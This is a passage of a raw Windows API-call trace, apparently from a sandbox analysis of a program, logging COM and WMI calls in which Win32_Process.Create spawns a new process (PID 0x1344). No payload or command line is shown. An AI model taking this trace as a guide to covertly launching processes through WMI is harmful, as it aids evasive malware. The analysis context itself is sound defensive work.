[7]=0x46)), ppvObject=0x1b10c970 | out: ppvObject=0x1b10c970*=0x1b441b88) returned 0x0 [0132.520] IMarshal:GetUnmarshalClass (in: This=0x1b441b88, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c998 | out: pCid=0x1b10c998*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0132.520] IUnknown:Release (This=0x1b441b88) returned 0x3 [0132.520] CoGetContextToken (in: pToken=0x1b10ca20 | out: pToken=0x1b10ca20) returned 0x0 [0132.521] CoGetContextToken (in: pToken=0x1b10cea0 | out: pToken=0x1b10cea0) returned 0x0 [0132.521] IUnknown:QueryInterface (in: This=0x1b441b80, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cf60 | out: ppvObject=0x1b10cf60*=0x0) returned 0x80004002 [0132.521] IUnknown:Release (This=0x1b441b80) returned 0x2 [0132.521] CoGetContextToken (in: pToken=0x1b10cf20 | out: pToken=0x1b10cf20) returned 0x0 [0132.521] CoGetContextToken (in: pToken=0x1b10ce20 | out: pToken=0x1b10ce20) returned 0x0 [0132.521] IUnknown:QueryInterface (in: This=0x1b441b80, riid=0x1b10cf80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b10cf50 | out: ppvObject=0x1b10cf50*=0x0) returned 0x80004002 [0132.521] CoGetContextToken (in: pToken=0x1b10d0b0 | out: pToken=0x1b10d0b0) returned 0x0 [0132.521] IUnknown:QueryInterface (in: This=0x1b441b80, riid=0x7ffb02955148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d180 | out: ppvObject=0x1b10d180*=0x0) returned 0x80004002 [0132.521] CoGetContextToken (in: pToken=0x1b10d140 | out: pToken=0x1b10d140) returned 0x0 [0132.521] IUnknown:AddRef (This=0x1b441b80) returned 0x3 [0132.521] IWbemClassObject:Put (This=0x1b432be0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b10da60*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b441b80, varVal2=0x0), Type=0) returned 0x0 [0132.521] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352580, puCount=0x1b10daf8 | out: puCount=0x1b10daf8*=0x2) returned 0x0 [0132.521] WbemDefPath:IWbemPath:GetText (in: This=0x352580, lFlags=4, puBuffLength=0x1b10daf0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10daf0*=0x22, pszText=0x0) returned 0x0 [0132.522] WbemDefPath:IWbemPath:GetText (in: This=0x352580, lFlags=4, puBuffLength=0x1b10daf0*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b10daf0*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0132.522] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352340, puCount=0x1b10da38 | out: puCount=0x1b10da38*=0x2) returned 0x0 [0132.522] WbemDefPath:IWbemPath:GetText (in: This=0x352340, lFlags=4, puBuffLength=0x1b10da30*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da30*=0xf, pszText=0x0) returned 0x0 [0132.522] WbemDefPath:IWbemPath:GetText (in: This=0x352340, lFlags=4, puBuffLength=0x1b10da30*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10da30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.522] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0132.522] WbemLocator:IUnknown:AddRef (This=0x1b442958) returned 0x3 [0132.522] WbemLocator:IUnknown:QueryInterface (in: This=0x1b442958, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d400 | out: ppvObject=0x1b10d400*=0x1b442958) returned 0x0 [0132.522] WbemLocator:IUnknown:Release (This=0x1b442958) returned 0x3 [0132.522] WbemLocator:IUnknown:Release (This=0x1b442958) returned 0x2 [0132.522] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0132.522] WbemLocator:IUnknown:AddRef (This=0x1b442958) returned 0x3 [0132.522] WbemLocator:IUnknown:QueryInterface (in: This=0x1b442958, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d400 | out: ppvObject=0x1b10d400*=0x1b442958) returned 0x0 [0132.522] WbemLocator:IUnknown:Release (This=0x1b442958) returned 0x3 [0132.522] WbemLocator:IUnknown:Release (This=0x1b442958) returned 0x2 [0132.522] WbemDefPath:IWbemPath:GetText (in: This=0x352580, lFlags=2, puBuffLength=0x1b10db00*=0x0, pszText=0x0 | out: puBuffLength=0x1b10db00*=0xe, pszText=0x0) returned 0x0 [0132.522] WbemDefPath:IWbemPath:GetText (in: This=0x352580, lFlags=2, puBuffLength=0x1b10db00*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10db00*=0xe, pszText="Win32_Process") returned 0x0 [0132.523] IWbemServices:ExecMethod (in: This=0x1b3e2470, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b432be0, ppOutParams=0x1b10da70*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b10da70*=0x1b452140, ppCallResult=0x0) returned 0x0 [0132.649] IWbemClassObject:Get (in: This=0x1b452140, wszName="ProcessId", lFlags=0, pVal=0x1b10da60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d1ab50*=0, plFlavor=0x2d1ab54*=0 | out: pVal=0x1b10da60*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1344, varVal2=0x0), pType=0x2d1ab50*=19, plFlavor=0x2d1ab54*=0) returned 0x0 [0132.649] IWbemClassObject:Get (in: This=0x1b452140, wszName="ProcessId", lFlags=0, pVal=0x1b10da70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2d1ab50*=19, plFlavor=0x2d1ab54*=0 | out: pVal=0x1b10da70*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1344, varVal2=0x0), pType=0x2d1ab50*=19, plFlavor=0x2d1ab54*=0) returned 0x0 [0132.649] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10daf8 | out: ppv=0x1b10daf8*=0x3111d8) returned 0x0 [0132.650] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10dae8 | out: pAptType=0x1b10dae8*=1) returned 0x0 [0132.650] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10daf0 | out: ppvObject=0x1b10daf0*=0x0) returned 0x80004002 [0132.650] IUnknown:Release (This=0x3111d8) returned 0x1 [0132.651] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cee8 | out: ppv=0x1b10cee8*=0x1b4498c0) returned 0x0 [0132.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4498c0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cfd0 | out: ppvObject=0x1b10cfd0*=0x0) returned 0x80004002 [0132.651] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4498c0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cfa8 | out: ppvObject=0x1b10cfa8*=0x352c40) returned 0x0 [0132.652] WbemDefPath:IUnknown:Release (This=0x1b4498c0) returned 0x0 [0132.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd50 | out: ppvObject=0x1b10cd50*=0x352c40) returned 0x0 [0132.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cde0 | out: ppvObject=0x1b10cde0*=0x0) returned 0x80004002 [0132.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c5d8 | out: ppvObject=0x1b10c5d8*=0x0) returned 0x80004002 [0132.652] WbemDefPath:IUnknown:AddRef (This=0x352c40) returned 0x3 [0132.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c498 | out: ppvObject=0x1b10c498*=0x0) returned 0x80004002 [0132.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c420 | out: ppvObject=0x1b10c420*=0x0) returned 0x80004002 [0132.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c410 | out: ppvObject=0x1b10c410*=0x1b449780) returned 0x0 [0132.652] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b449780, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c438 | out: pCid=0x1b10c438*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.652] WbemDefPath:IUnknown:Release (This=0x1b449780) returned 0x3 [0132.652] CoGetContextToken (in: pToken=0x1b10c4c0 | out: pToken=0x1b10c4c0) returned 0x0 [0132.653] CoGetContextToken (in: pToken=0x1b10c940 | out: pToken=0x1b10c940) returned 0x0 [0132.653] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ca00 | out: ppvObject=0x1b10ca00*=0x0) returned 0x80004002 [0132.653] WbemDefPath:IUnknown:Release (This=0x352c40) returned 0x2 [0132.653] WbemDefPath:IUnknown:Release (This=0x352c40) returned 0x1 [0132.653] CoGetContextToken (in: pToken=0x1b10d730 | out: pToken=0x1b10d730) returned 0x0 [0132.653] CoGetContextToken (in: pToken=0x1b10d630 | out: pToken=0x1b10d630) returned 0x0 [0132.653] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x1b10d790*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d760 | out: ppvObject=0x1b10d760*=0x352c40) returned 0x0 [0132.653] WbemDefPath:IUnknown:AddRef (This=0x352c40) returned 0x3 [0132.653] WbemDefPath:IUnknown:Release (This=0x352c40) returned 0x2 [0132.653] WbemDefPath:IWbemPath:SetText (This=0x352c40, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0132.653] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352c40, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0132.653] WbemDefPath:IWbemPath:GetText (in: This=0x352c40, lFlags=2, puBuffLength=0x1b10db40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10db40*=0xe, pszText=0x0) returned 0x0 [0132.653] WbemDefPath:IWbemPath:GetText (in: This=0x352c40, lFlags=2, puBuffLength=0x1b10db40*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10db40*=0xe, pszText="Win32_Process") returned 0x0 [0132.653] WbemDefPath:IWbemPath:GetInfo (in: This=0x352c40, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0132.653] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352c40, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0132.653] WbemDefPath:IWbemPath:GetInfo (in: This=0x352c40, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0132.653] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10daf8 | out: ppv=0x1b10daf8*=0x3111d8) returned 0x0 [0132.654] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10dae8 | out: pAptType=0x1b10dae8*=1) returned 0x0 [0132.654] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10daf0 | out: ppvObject=0x1b10daf0*=0x0) returned 0x80004002 [0132.654] IUnknown:Release (This=0x3111d8) returned 0x1 [0132.654] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cee8 | out: ppv=0x1b10cee8*=0x1b4499a0) returned 0x0 [0132.655] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4499a0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cfd0 | out: ppvObject=0x1b10cfd0*=0x0) returned 0x80004002 [0132.655] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4499a0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cfa8 | out: ppvObject=0x1b10cfa8*=0x352d00) returned 0x0 [0132.655] WbemDefPath:IUnknown:Release (This=0x1b4499a0) returned 0x0 [0132.655] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd50 | out: ppvObject=0x1b10cd50*=0x352d00) returned 0x0 [0132.655] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cde0 | out: ppvObject=0x1b10cde0*=0x0) returned 0x80004002 [0132.655] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c5d8 | out: ppvObject=0x1b10c5d8*=0x0) returned 0x80004002 [0132.655] WbemDefPath:IUnknown:AddRef (This=0x352d00) returned 0x3 [0132.655] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c498 | out: ppvObject=0x1b10c498*=0x0) returned 0x80004002 [0132.655] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c420 | out: ppvObject=0x1b10c420*=0x0) returned 0x80004002 [0132.655] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c410 | out: ppvObject=0x1b10c410*=0x1b449c60) returned 0x0 [0132.655] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b449c60, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c438 | out: pCid=0x1b10c438*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.655] WbemDefPath:IUnknown:Release (This=0x1b449c60) returned 0x3 [0132.655] CoGetContextToken (in: pToken=0x1b10c4c0 | out: pToken=0x1b10c4c0) returned 0x0 [0132.656] CoGetContextToken (in: pToken=0x1b10c940 | out: pToken=0x1b10c940) returned 0x0 [0132.656] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ca00 | out: ppvObject=0x1b10ca00*=0x0) returned 0x80004002 [0132.656] WbemDefPath:IUnknown:Release (This=0x352d00) returned 0x2 [0132.656] WbemDefPath:IUnknown:Release (This=0x352d00) returned 0x1 [0132.656] CoGetContextToken (in: pToken=0x1b10d730 | out: pToken=0x1b10d730) returned 0x0 [0132.656] CoGetContextToken (in: pToken=0x1b10d630 | out: pToken=0x1b10d630) returned 0x0 [0132.656] WbemDefPath:IUnknown:QueryInterface (in: This=0x352d00, riid=0x1b10d790*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d760 | out: ppvObject=0x1b10d760*=0x352d00) returned 0x0 [0132.656] WbemDefPath:IUnknown:AddRef (This=0x352d00) returned 0x3 [0132.656] WbemDefPath:IUnknown:Release (This=0x352d00) returned 0x2 [0132.656] WbemDefPath:IWbemPath:SetText (This=0x352d00, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0132.656] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352d00, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0132.656] WbemDefPath:IWbemPath:GetText (in: This=0x352d00, lFlags=2, puBuffLength=0x1b10db40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10db40*=0x15, pszText=0x0) returned 0x0 [0132.656] WbemDefPath:IWbemPath:GetText (in: This=0x352d00, lFlags=2, puBuffLength=0x1b10db40*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b10db40*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0132.656] WbemDefPath:IWbemPath:GetInfo (in: This=0x352d00, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0132.656] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352d00, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0132.656] WbemDefPath:IWbemPath:GetInfo (in: This=0x352d00, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0132.656] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352d00, puCount=0x1b10daa8 | out: puCount=0x1b10daa8*=0x0) returned 0x0 [0132.656] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352400, puCount=0x1b10da68 | out: puCount=0x1b10da68*=0x2) returned 0x0 [0132.657] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10da60*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da60*=0xf, pszText=0x0) returned 0x0 [0132.657] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10da60*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10da60*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.657] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d9b8 | out: ppv=0x1b10d9b8*=0x3111d8) returned 0x0 [0132.657] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d9a8 | out: pAptType=0x1b10d9a8*=1) returned 0x0 [0132.657] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d9b0 | out: ppvObject=0x1b10d9b0*=0x0) returned 0x80004002 [0132.657] IUnknown:Release (This=0x3111d8) returned 0x1 [0132.658] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cda8 | out: ppv=0x1b10cda8*=0x1b449600) returned 0x0 [0132.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b449600, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ce90 | out: ppvObject=0x1b10ce90*=0x0) returned 0x80004002 [0132.658] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b449600, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ce68 | out: ppvObject=0x1b10ce68*=0x2a2ac0) returned 0x0 [0132.658] WbemDefPath:IUnknown:Release (This=0x1b449600) returned 0x0 [0132.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2ac0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc10 | out: ppvObject=0x1b10cc10*=0x2a2ac0) returned 0x0 [0132.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2ac0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cca0 | out: ppvObject=0x1b10cca0*=0x0) returned 0x80004002 [0132.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2ac0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c498 | out: ppvObject=0x1b10c498*=0x0) returned 0x80004002 [0132.659] WbemDefPath:IUnknown:AddRef (This=0x2a2ac0) returned 0x3 [0132.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2ac0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c358 | out: ppvObject=0x1b10c358*=0x0) returned 0x80004002 [0132.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x2a2ac0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c2e0 | out: ppvObject=0x1b10c2e0*=0x0) returned 0x80004002 [0132.659] WbemDefPath:IUnknown:QueryInterface 